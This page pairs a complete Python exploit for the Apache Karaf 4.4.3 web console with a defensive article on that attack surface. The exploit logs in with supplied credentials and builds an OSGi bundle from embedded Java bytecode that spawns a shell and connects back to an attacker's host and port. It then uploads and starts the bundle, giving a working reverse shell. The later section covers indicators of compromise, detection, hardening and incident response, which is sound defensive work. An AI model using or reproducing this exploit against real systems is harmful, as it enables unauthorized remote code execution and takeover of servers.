Karaf v4.4.3 Console - RCE
#!/usr/bin/python
# Exploit Title: [Karaf v4.4.3 Console RCE]
# Date: [2023-08-07]
# Exploit Author: [Andrzej Olchawa, Milenko Starcik,
# VisionSpace Technologies GmbH]
# Exploit Repository:
# [https://github.com/visionspacetec/offsec-karaf-exploits.git]
# Vendor Homepage: [https://karaf.apache.org]
# Software Link: [https://karaf.apache.org/download.html]
# Version: [4.4.3]
# Tested on: [Linux kali 6.3.0-kali1-amd64]
# License: [MIT]
#
# Usage:
# python exploit.py --help
#
# Example:
# python exploit.py --rhost=192.168.0.133 --rport=1337 \
# --lhost=192.168.0.100 --lport=4444 \
# --creds=karaf:karaf
"""
This tool will let you open a reverse shell from the system
that is running Karaf Console",
"""
import argparse
import base64
import io
import re
import zipfile
import requests
# Content of the MANIFEST.MF file.
MANIFEST_CONTENT = \
"Bundle-Name: RevShell\n" \
"Bundle-Description: Bundle openning a reverse shell connection.\n" \
"Bundle-SymbolicName: com.visionspace.osgi.revshell.Activator\n" \
"Bundle-Vendor: VisionSpace\n" \
"Bundle-Version: 1.0.0\n" \
"Import-Package: org.osgi.framework\n" \
"Bundle-Activator: com.visionspace.osgi.revshell.Activator"
# Activator.class bytecode template.
ACTIVATOR_CLASS_BYTECODE_TEMPLATE = \
b"\xca\xfe\xba\xbe\x00\x00\x00\x37\x00\x7b" \
b"\x0a\x00\x22\x00\x33\x08\x00\x34\x07\x00" \
b"\x35\x07\x00\x36\x0a\x00\x03\x00\x37\x0a" \
b"\x00\x03\x00\x38\x0a\x00\x03\x00\x39\x07" \
b"\x00\x3a\x08\x00\x3b\x08\x00\x3c\x0a\x00" \
b"\x3d\x00\x3e\x0a\x00\x08\x00\x3f\x0a\x00" \
b"\x2c\x00\x40\x0a\x00\x2c\x00\x41\x0a\x00" \
b"\x08\x00\x40\x0a\x00\x2c\x00\x42\x0a\x00" \
b"\x08\x00\x42\x0a\x00\x08\x00\x43\x0a\x00" \
b"\x2d\x00\x44\x0a\x00\x2d\x00\x45\x0a\x00" \
b"\x2e\x00\x46\x0a\x00\x2e\x00\x47\x05\x00" \
b"\x00\x00\x00\x00\x00\x00\x32\x0a\x00\x48" \
b"\x00\x49\x0a\x00\x2c\x00\x4a\x07\x00\x4b" \
b"\x0a\x00\x2c\x00\x4c\x0a\x00\x08\x00\x4d" \
b"\x09\x00\x4e\x00\x4f\x08\x00\x50\x0a\x00" \
b"\x51\x00\x52\x07\x00\x53\x07\x00\x54\x07" \
b"\x00\x55\x01\x00\x06\x3c\x69\x6e\x69\x74" \
b"\x3e\x01\x00\x03\x28\x29\x56\x01\x00\x04" \
b"\x43\x6f\x64\x65\x01\x00\x0f\x4c\x69\x6e" \
b"\x65\x4e\x75\x6d\x62\x65\x72\x54\x61\x62" \
b"\x6c\x65\x01\x00\x05\x73\x74\x61\x72\x74" \
b"\x01\x00\x25\x28\x4c\x6f\x72\x67\x2f\x6f" \
b"\x73\x67\x69\x2f\x66\x72\x61\x6d\x65\x77" \
b"\x6f\x72\x6b\x2f\x42\x75\x6e\x64\x6c\x65" \
b"\x43\x6f\x6e\x74\x65\x78\x74\x3b\x29\x56" \
b"\x01\x00\x0d\x53\x74\x61\x63\x6b\x4d\x61" \
b"\x70\x54\x61\x62\x6c\x65\x07\x00\x56\x07" \
b"\x00\x57\x07\x00\x58\x07\x00\x59\x01\x00" \
b"\x0a\x45\x78\x63\x65\x70\x74\x69\x6f\x6e" \
b"\x73\x01\x00\x04\x73\x74\x6f\x70\x01\x00" \
b"\x0a\x53\x6f\x75\x72\x63\x65\x46\x69\x6c" \
b"\x65\x01\x00\x0e\x41\x63\x74\x69\x76\x61" \
b"\x74\x6f\x72\x2e\x6a\x61\x76\x61\x0c\x00" \
b"\x24\x00\x25\x01\x00\x02\x73\x68\x01\x00" \
b"\x18\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67" \
b"\x2f\x50\x72\x6f\x63\x65\x73\x73\x42\x75" \
b"\x69\x6c\x64\x65\x72\x01\x00\x10\x6a\x61" \
b"\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" \
b"\x72\x69\x6e\x67\x0c\x00\x24\x00\x5a\x0c" \
b"\x00\x5b\x00\x5c\x0c\x00\x28\x00\x5d\x01" \
b"\x00\x0f\x6a\x61\x76\x61\x2f\x6e\x65\x74" \
b"\x2f\x53\x6f\x63\x6b\x65\x74\x01\x00\x07" \
b"\x3c\x4c\x48\x4f\x53\x54\x3e\x01\x00\x07" \
b"\x3c\x4c\x50\x4f\x52\x54\x3e\x07\x00\x5e" \
b"\x0c\x00\x5f\x00\x60\x0c\x00\x24\x00\x61" \
b"\x0c\x00\x62\x00\x63\x0c\x00\x64\x00\x63" \
b"\x0c\x00\x65\x00\x66\x0c\x00\x67\x00\x68" \
b"\x0c\x00\x69\x00\x6a\x0c\x00\x6b\x00\x6a" \
b"\x0c\x00\x6c\x00\x6d\x0c\x00\x6e\x00\x25" \
b"\x07\x00\x6f\x0c\x00\x70\x00\x71\x0c\x00" \
b"\x72\x00\x6a\x01\x00\x13\x6a\x61\x76\x61" \
b"\x2f\x6c\x61\x6e\x67\x2f\x45\x78\x63\x65" \
b"\x70\x74\x69\x6f\x6e\x0c\x00\x73\x00\x25" \
b"\x0c\x00\x74\x00\x25\x07\x00\x75\x0c\x00" \
b"\x76\x00\x77\x01\x00\x1d\x54\x68\x61\x6e" \
b"\x6b\x20\x79\x6f\x75\x20\x66\x6f\x72\x20" \
b"\x70\x77\x6e\x69\x6e\x67\x20\x77\x69\x74" \
b"\x68\x20\x75\x73\x21\x07\x00\x78\x0c\x00" \
b"\x79\x00\x7a\x01\x00\x27\x63\x6f\x6d\x2f" \
b"\x76\x69\x73\x69\x6f\x6e\x73\x70\x61\x63" \
b"\x65\x2f\x6f\x73\x67\x69\x2f\x72\x65\x76" \
b"\x73\x68\x65\x6c\x6c\x2f\x41\x63\x74\x69" \
b"\x76\x61\x74\x6f\x72\x01\x00\x10\x6a\x61" \
b"\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62" \
b"\x6a\x65\x63\x74\x01\x00\x22\x6f\x72\x67" \
b"\x2f\x6f\x73\x67\x69\x2f\x66\x72\x61\x6d" \
b"\x65\x77\x6f\x72\x6b\x2f\x42\x75\x6e\x64" \
b"\x6c\x65\x41\x63\x74\x69\x76\x61\x74\x6f" \
b"\x72\x01\x00\x20\x6f\x72\x67\x2f\x6f\x73" \
b"\x67\x69\x2f\x66\x72\x61\x6d\x65\x77\x6f" \
b"\x72\x6b\x2f\x42\x75\x6e\x64\x6c\x65\x43" \
b"\x6f\x6e\x74\x65\x78\x74\x01\x00\x11\x6a" \
b"\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x50" \
b"\x72\x6f\x63\x65\x73\x73\x01\x00\x13\x6a" \
b"\x61\x76\x61\x2f\x69\x6f\x2f\x49\x6e\x70" \
b"\x75\x74\x53\x74\x72\x65\x61\x6d\x01\x00" \
b"\x14\x6a\x61\x76\x61\x2f\x69\x6f\x2f\x4f" \
b"\x75\x74\x70\x75\x74\x53\x74\x72\x65\x61" \
b"\x6d\x01\x00\x16\x28\x5b\x4c\x6a\x61\x76" \
b"\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72" \
b"\x69\x6e\x67\x3b\x29\x56\x01\x00\x13\x72" \
b"\x65\x64\x69\x72\x65\x63\x74\x45\x72\x72" \
b"\x6f\x72\x53\x74\x72\x65\x61\x6d\x01\x00" \
b"\x1d\x28\x5a\x29\x4c\x6a\x61\x76\x61\x2f" \
b"\x6c\x61\x6e\x67\x2f\x50\x72\x6f\x63\x65" \
b"\x73\x73\x42\x75\x69\x6c\x64\x65\x72\x3b" \
b"\x01\x00\x15\x28\x29\x4c\x6a\x61\x76\x61" \
b"\x2f\x6c\x61\x6e\x67\x2f\x50\x72\x6f\x63" \
b"\x65\x73\x73\x3b\x01\x00\x11\x6a\x61\x76" \
b"\x61\x2f\x6c\x61\x6e\x67\x2f\x49\x6e\x74" \
b"\x65\x67\x65\x72\x01\x00\x08\x70\x61\x72" \
b"\x73\x65\x49\x6e\x74\x01\x00\x15\x28\x4c" \
b"\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f" \
b"\x53\x74\x72\x69\x6e\x67\x3b\x29\x49\x01" \
b"\x00\x16\x28\x4c\x6a\x61\x76\x61\x2f\x6c" \
b"\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67" \
b"\x3b\x49\x29\x56\x01\x00\x0e\x67\x65\x74" \
b"\x49\x6e\x70\x75\x74\x53\x74\x72\x65\x61" \
b"\x6d\x01\x00\x17\x28\x29\x4c\x6a\x61\x76" \
b"\x61\x2f\x69\x6f\x2f\x49\x6e\x70\x75\x74" \
b"\x53\x74\x72\x65\x61\x6d\x3b\x01\x00\x0e" \
b"\x67\x65\x74\x45\x72\x72\x6f\x72\x53\x74" \
b"\x72\x65\x61\x6d\x01\x00\x0f\x67\x65\x74" \
b"\x4f\x75\x74\x70\x75\x74\x53\x74\x72\x65" \
b"\x61\x6d\x01\x00\x18\x28\x29\x4c\x6a\x61" \
b"\x76\x61\x2f\x69\x6f\x2f\x4f\x75\x74\x70" \
b"\x75\x74\x53\x74\x72\x65\x61\x6d\x3b\x01" \
b"\x00\x08\x69\x73\x43\x6c\x6f\x73\x65\x64" \
b"\x01\x00\x03\x28\x29\x5a\x01\x00\x09\x61" \
b"\x76\x61\x69\x6c\x61\x62\x6c\x65\x01\x00" \
b"\x03\x28\x29\x49\x01\x00\x04\x72\x65\x61" \
b"\x64\x01\x00\x05\x77\x72\x69\x74\x65\x01" \
b"\x00\x04\x28\x49\x29\x56\x01\x00\x05\x66" \
b"\x6c\x75\x73\x68\x01\x00\x10\x6a\x61\x76" \
b"\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72" \
b"\x65\x61\x64\x01\x00\x05\x73\x6c\x65\x65" \
b"\x70\x01\x00\x04\x28\x4a\x29\x56\x01\x00" \
b"\x09\x65\x78\x69\x74\x56\x61\x6c\x75\x65" \
b"\x01\x00\x07\x64\x65\x73\x74\x72\x6f\x79" \
b"\x01\x00\x05\x63\x6c\x6f\x73\x65\x01\x00" \
b"\x10\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67" \
b"\x2f\x53\x79\x73\x74\x65\x6d\x01\x00\x03" \
b"\x6f\x75\x74\x01\x00\x15\x4c\x6a\x61\x76" \
b"\x61\x2f\x69\x6f\x2f\x50\x72\x69\x6e\x74" \
b"\x53\x74\x72\x65\x61\x6d\x3b\x01\x00\x13" \
b"\x6a\x61\x76\x61\x2f\x69\x6f\x2f\x50\x72" \
b"\x69\x6e\x74\x53\x74\x72\x65\x61\x6d\x01" \
b"\x00\x07\x70\x72\x69\x6e\x74\x6c\x6e\x01" \
b"\x00\x15\x28\x4c\x6a\x61\x76\x61\x2f\x6c" \
b"\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67" \
b"\x3b\x29\x56\x00\x21\x00\x21\x00\x22\x00" \
b"\x01\x00\x23\x00\x00\x00\x03\x00\x01\x00" \
b"\x24\x00\x25\x00\x01\x00\x26\x00\x00\x00" \
b"\x1d\x00\x01\x00\x01\x00\x00\x00\x05\x2a" \
b"\xb7\x00\x01\xb1\x00\x00\x00\x01\x00\x27" \
b"\x00\x00\x00\x06\x00\x01\x00\x00\x00\x0a" \
b"\x00\x01\x00\x28\x00\x29\x00\x02\x00\x26" \
b"\x00\x00\x01\x6e\x00\x06\x00\x0b\x00\x00" \
b"\x00\xb8\x12\x02\x4d\xbb\x00\x03\x59\x04" \
b"\xbd\x00\x04\x59\x03\x2c\x53\xb7\x00\x05" \
b"\x04\xb6\x00\x06\xb6\x00\x07\x4e\xbb\x00" \
b"\x08\x59\x12\x09\x12\x0a\xb8\x00\x0b\xb7" \
b"\x00\x0c\x3a\x04\x2d\xb6\x00\x0d\x3a\x05" \
b"\x2d\xb6\x00\x0e\x3a\x06\x19\x04\xb6\x00" \
b"\x0f\x3a\x07\x2d\xb6\x00\x10\x3a\x08\x19" \
b"\x04\xb6\x00\x11\x3a\x09\x19\x04\xb6\x00" \
b"\x12\x9a\x00\x5f\x19\x05\xb6\x00\x13\x9e" \
b"\x00\x10\x19\x09\x19\x05\xb6\x00\x14\xb6" \
b"\x00\x15\xa7\xff\xee\x19\x06\xb6\x00\x13" \
b"\x9e\x00\x10\x19\x09\x19\x06\xb6\x00\x14" \
b"\xb6\x00\x15\xa7\xff\xee\x19\x07\xb6\x00" \
b"\x13\x9e\x00\x10\x19\x08\x19\x07\xb6\x00" \
b"\x14\xb6\x00\x15\xa7\xff\xee\x19\x09\xb6" \
b"\x00\x16\x19\x08\xb6\x00\x16\x14\x00\x17" \
b"\xb8\x00\x19\x2d\xb6\x00\x1a\x57\xa7\x00" \
b"\x08\x3a\x0a\xa7\xff\x9f\x2d\xb6\x00\x1c" \
b"\x19\x04\xb6\x00\x1d\xb1\x00\x01\x00\xa1" \
b"\x00\xa6\x00\xa9\x00\x1b\x00\x02\x00\x27" \
b"\x00\x00\x00\x66\x00\x19\x00\x00\x00\x0c" \
b"\x00\x03\x00\x0e\x00\x1a\x00\x0f\x00\x2a" \
b"\x00\x10\x00\x30\x00\x11\x00\x36\x00\x12" \
b"\x00\x3d\x00\x13\x00\x43\x00\x14\x00\x4a" \
b"\x00\x15\x00\x52\x00\x16\x00\x5a\x00\x17" \
b"\x00\x67\x00\x18\x00\x6f\x00\x19\x00\x7c" \
b"\x00\x1a\x00\x84\x00\x1b\x00\x91\x00\x1c" \
b"\x00\x96\x00\x1d\x00\x9b\x00\x1e\x00\xa1" \
b"\x00\x20\x00\xa6\x00\x21\x00\xa9\x00\x22" \
b"\x00\xab\x00\x23\x00\xae\x00\x25\x00\xb2" \
b"\x00\x26\x00\xb7\x00\x27\x00\x2a\x00\x00" \
b"\x00\x30\x00\x07\xff\x00\x4a\x00\x0a\x07" \
b"\x00\x21\x07\x00\x2b\x07\x00\x04\x07\x00" \
b"\x2c\x07\x00\x08\x07\x00\x2d\x07\x00\x2d" \
b"\x07\x00\x2d\x07\x00\x2e\x07\x00\x2e\x00" \
b"\x00\x07\x14\x14\x14\x57\x07\x00\x1b\x04" \
b"\x00\x2f\x00\x00\x00\x04\x00\x01\x00\x1b" \
b"\x00\x01\x00\x30\x00\x29\x00\x02\x00\x26" \
b"\x00\x00\x00\x25\x00\x02\x00\x02\x00\x00" \
b"\x00\x09\xb2\x00\x1e\x12\x1f\xb6\x00\x20" \
b"\xb1\x00\x00\x00\x01\x00\x27\x00\x00\x00" \
b"\x0a\x00\x02\x00\x00\x00\x2a\x00\x08\x00" \
b"\x2b\x00\x2f\x00\x00\x00\x04\x00\x01\x00" \
b"\x1b\x00\x01\x00\x31\x00\x00\x00\x02\x00" \
b"\x32"
# Items to be replaces within the bytecode of Activator.class
# <LEN><LHOST> = <\x07><\x3c\x4c\x48\x4f\x53\x54\x3e>
ACTIVATOR_CLASS_LHOST_TAG = b"\x07\x3c\x4c\x48\x4f\x53\x54\x3e"
# <LEN><LPORT> = <\x07><\x3c\x4c\x50\x4f\x52\x54\x3e>
ACTIVATOR_CLASS_LPORT_TAG = b"\x07\x3c\x4c\x50\x4f\x52\x54\x3e"
def parse():
"""
This function parses the command-line arguments.
"""
parser = argparse.ArgumentParser(
prog="Karaf-Console-RCE",
description="This tool will let you open a reverse shell from the "
"system that is running Karaf Console",
epilog="Happy Hacking! :)",
)
parser.add_argument("--rhost", dest="rhost",
help="remote host", type=str, required=True)
parser.add_argument("--rport", dest="rport",
help="remote port", type=int, required=True)
parser.add_argument("--lhost", dest="lhost",
help="local host", type=str, required=True)
parser.add_argument("--lport", dest="lport",
help="local port", type=int, required=True)
parser.add_argument("--creds", dest="creds",
help="credentials in format <username:password>",
type=str, required=True)
parser.add_argument("--version", action="version",
version="%(prog)s 0.1.0")
return parser.parse_args()
def extract_jsessionid(cookie):
"""
This function extracts the JSESSIONID from the cookie string.
"""
jsessionid = None
regex = re.findall("JSESSIONID=([^;]+)", cookie)
if len(regex) > 0:
jsessionid = regex[0]
return jsessionid
def authenticate(target, basic_auth):
"""
This function connects to the URL and retrieves the JSESSIONID
based on the Basic Authorization.
"""
jsessionid = None
headers = {
"Authorization": basic_auth
}
response = requests.get(target, headers=headers,
allow_redirects=False, timeout=10)
if (response.status_code == 302 and response.headers["Set-Cookie"]):
jsessionid = extract_jsessionid(response.headers["Set-Cookie"])
return jsessionid
def generate_payload(lhost, lport):
"""
This function generates the payload.
It replaces the template payload with the `lhost` and `lport` arguments.
"""
payload = None
lhost_byte_array = bytearray()
lhost_byte_array.append(len(lhost))
lhost_byte_array.extend(map(ord, lhost))
activator_class_bytecodes = ACTIVATOR_CLASS_BYTECODE_TEMPLATE.replace(
ACTIVATOR_CLASS_LHOST_TAG, lhost_byte_array)
lport_str = str(lport)
lport_byte_array = bytearray()
lport_byte_array.append(len(lport_str))
lport_byte_array.extend(map(ord, lport_str))
activator_class_bytecodes = activator_class_bytecodes.replace(
ACTIVATOR_CLASS_LPORT_TAG, lport_byte_array)
jar_bytes = io.BytesIO()
with zipfile.ZipFile(jar_bytes, "w", zipfile.ZIP_DEFLATED) as zip_file:
zip_file.writestr("com/visionspace/osgi/revshell/Activator.class",
activator_class_bytecodes)
zip_file.writestr("META-INF/MANIFEST.MF", MANIFEST_CONTENT)
payload = jar_bytes.getvalue()
return payload
def deploy_payload(target, basic_auth, jsessionid, payload):
"""
This function connects to the Karaf Console and deployes the payload.
"""
success = False
url = f"{target}/bundles"
cookies = {
"JSESSIONID": jsessionid
}
headers = {
"Authorization": basic_auth
}
files = {
"bundlefile": (
"revshell.jar", payload, "application/x-java-archive")
}
data = {
"action": "install",
"bundlestart": "start",
"bundlestartlevel": 80
}
response = requests.post(url, headers=headers, cookies=cookies,
files=files, data=data, timeout=10,
allow_redirects=False)
if response.status_code == 302:
success = True
return success
def generate_basic_auth(creds):
"""
This function generates the Basic Authorization string based
on the credentials.
"""
creds_base64 = base64.b64encode(creds.encode()).decode()
basic_auth = f"Basic {creds_base64}"
return basic_auth
def create_target_url(rhost, rport):
"""
This function creates a target URL.
"""
target_url = f"http://{rhost}:{rport}/system/console"
return target_url
def main(args):
"""
Main function.
"""
target = create_target_url(args.rhost, args.rport)
print("[*] Login...")
basic_auth = generate_basic_auth(args.creds)
jsessionid = authenticate(target, basic_auth)
if jsessionid:
print("[+] Session established.")
print("[*] Generating payload...")
payload = generate_payload(args.lhost, args.lport)
if payload:
print("[*] Deploying payload...")
if deploy_payload(target, basic_auth, jsessionid, payload):
print("[+] Done.")
else:
print("[-] Failed to deploy the payload!")
else:
print("[-] Failed to generate the payload!")
else:
print("[-] Login failed!")
if __name__ == "__main__":
main(parse()) Karaf v4.4.3 Console — Remote Code Execution (RCE): Overview, Risks, Detection & Mitigation
Apache Karaf is a lightweight container that runs OSGi-based applications. Its web management console (commonly available under /system/console) provides functionality to install and start OSGi bundles at runtime. When that administrative surface is reachable and not properly protected, it can be used to install bundles that execute arbitrary Java code — resulting in a Remote Code Execution (RCE) condition. This article explains the technical basis of such an issue, attack prerequisites, indicators of compromise, and robust defensive controls and incident-response guidance for operators and security teams.
How the vulnerability surface arises (technical background)
- OSGi bundles are Java archives (JARs) that can include a Bundle-Activator class. When the runtime starts a bundle, the activator's lifecycle methods (start/stop) are executed by the container with the permissions available to the Karaf process.
- The Karaf web console provides an interface to upload, install, and start bundles remotely. If an attacker can authenticate to that console or hijack a valid session, they can upload a crafted bundle whose activator executes arbitrary commands or opens backdoors.
- Risk is highest when the console is exposed to untrusted networks, default or weak credentials are present, or administrative authentication/session protections are weak.
Attack vectors and prerequisites
- Valid administrative credentials or an active authenticated session (JSESSIONID) for the Karaf console.
- Network reachability to the console port (HTTP service exposing /system/console and bundle management endpoints).
- Ability to upload an OSGi bundle (JAR) and request it to be started by the container.
- Absence of additional runtime hardening such as a strict Java SecurityManager policy, signed-bundle enforcement, or network isolation.
Note: The existence of any one of these conditions does not necessarily prove compromise, but together they create a strong opportunity for code execution.
Potential impact
- Full remote code execution as the Karaf process user (often root or a service account on poorly configured systems).
- Deployment of persistence mechanisms (backdoors or scheduled tasks), lateral movement, data exfiltration, and tampering with application behavior.
- Compromise of other JVM-hosted components or credentials stored in the container.
Detecting suspicious activity (indicators of compromise)
- Unexpected /system/console access in HTTP access logs, especially POSTs to endpoints used for bundle upload or management.
- Newly installed or recently started bundles with unfamiliar names, symbolic names, or activator classes. Audit the list of bundles visible from the local Karaf shell.
- Unusual JAR files or new entries in the Karaf data/cache or deploy directories.
- Karaf/OSGi logs containing "install", "start", or exceptions indicating unexpected bundle behavior around the time of the suspected activity.
- Network connections originating from the Karaf host to unexpected external IPs/ports (reverse shells or C2 callbacks).
Safe example checks for administrators
curl -I http://127.0.0.1:8181/system/console
This simple command checks whether the Karaf web console endpoint is reachable and returns HTTP headers. Use it from an administrative network or authorized workstation.
unzip -p suspicious-bundle.jar META-INF/MANIFEST.MF
Inspecting a bundle's manifest can surface suspicious Bundle-SymbolicName or Bundle-Activator entries. This is a benign forensic check to examine a JAR without executing it.
Mitigations and hardening (preventive controls)
- Network-level protections: Block access to the Karaf management console from untrusted networks. Bind the console to localhost or internal management interfaces where possible. Place the console behind a VPN or strong gateway authentication.
- Authentication and authorization: Replace default credentials, enforce strong passwords, and remove unused administrative accounts. Implement multifactor authentication where integration is possible.
- Bundle installation policy: Restrict who can install/start bundles. Where supported, enforce code signing of bundles and validate signatures before installation.
- OSGi/Java runtime hardening: Use a strict Java SecurityManager policy to limit what bundles can do (file/network/process permission restrictions), and run Karaf under a least-privileged OS user.
- Change management and approval: Treat dynamic bundle installation as an administrative operation that requires approval and logging; disallow ad-hoc uploads from public interfaces.
- Patch and upgrade: Stay current with Karaf releases and security updates. If a vulnerability is known for a specific version, prioritize upgrades to fixed versions.
- Monitoring and logging: Enable detailed auditing of management operations, centralize logs, and create alerts for bundle-install or bundle-start events from unusual sources.
Detection signatures and monitoring guidance
- Alert on HTTP POSTs to /system/console/bundles or other bundle-management endpoints from non-administrative IP ranges.
- Alert on the presence of new bundle symbolic names or activators that do not match approved software inventories.
- Network IDS/IPS: flag outgoing connections initiated by the Karaf process to unexpected destinations and unusual ports (possible reverse shells).
Incident response and remediation steps
- Isolate: If compromise is suspected, isolate the Karaf host from the network to prevent further attacker activity and C2 callbacks.
- Preserve evidence: Collect Karaf logs, HTTP access logs, filesystem listings for bundle JARs, and a memory image if possible. Do this before rebooting or stopping services when feasible.
- Assess: List installed bundles and review timestamps. Search for recently added/started bundles and unknown activator entries.
- Remove suspicious bundles: If safe administrative access exists, stop and uninstall unknown bundles. Be cautious: attackers may have installed persistence that survives simple removal.
- Credential rotation: Rotate all administrative credentials and any credentials stored or used by the compromised application. Revoke API tokens and service keys that may have been exposed.
- Forensic analysis & recovery: If full confidence in system integrity cannot be achieved quickly, rebuild the affected host from a trusted image and redeploy from verified artifacts.
- Post-incident improvements: Apply the mitigations above, tighten monitoring, and conduct a security review to prevent recurrence.
Best practices for secure OSGi / Karaf deployments
- Run Karaf with the minimum OS privileges and inside a hardened, monitored environment (containers or VMs with strict host controls).
- Limit management interfaces to control-plane networks; never expose /system/console directly to the public internet.
- Enforce code-signing and provenance checks for bundles and maintain an allowlist of approved bundle symbolic names and versions.
- Keep runtime and dependencies up to date and subscribe to vendor and community security advisories.
- Adopt a robust logging and alerting posture for administrative operations, and periodically audit bundle inventory vs. the expected software bill of materials (SBOM).
Final recommendations
Exposed administrative consoles that allow runtime code deployment are high-value targets. Protecting Karaf involves layered controls: minimize exposure, enforce strong authentication, make bundle installation a controlled operation, and monitor actively for anomalies. If you operate Karaf instances, assume that any exposed management endpoint is a potential risk and apply the defense-in-depth guidance above. In the event of suspected compromise, prioritize containment, evidence capture, and a careful recovery plan rather than ad-hoc fixes.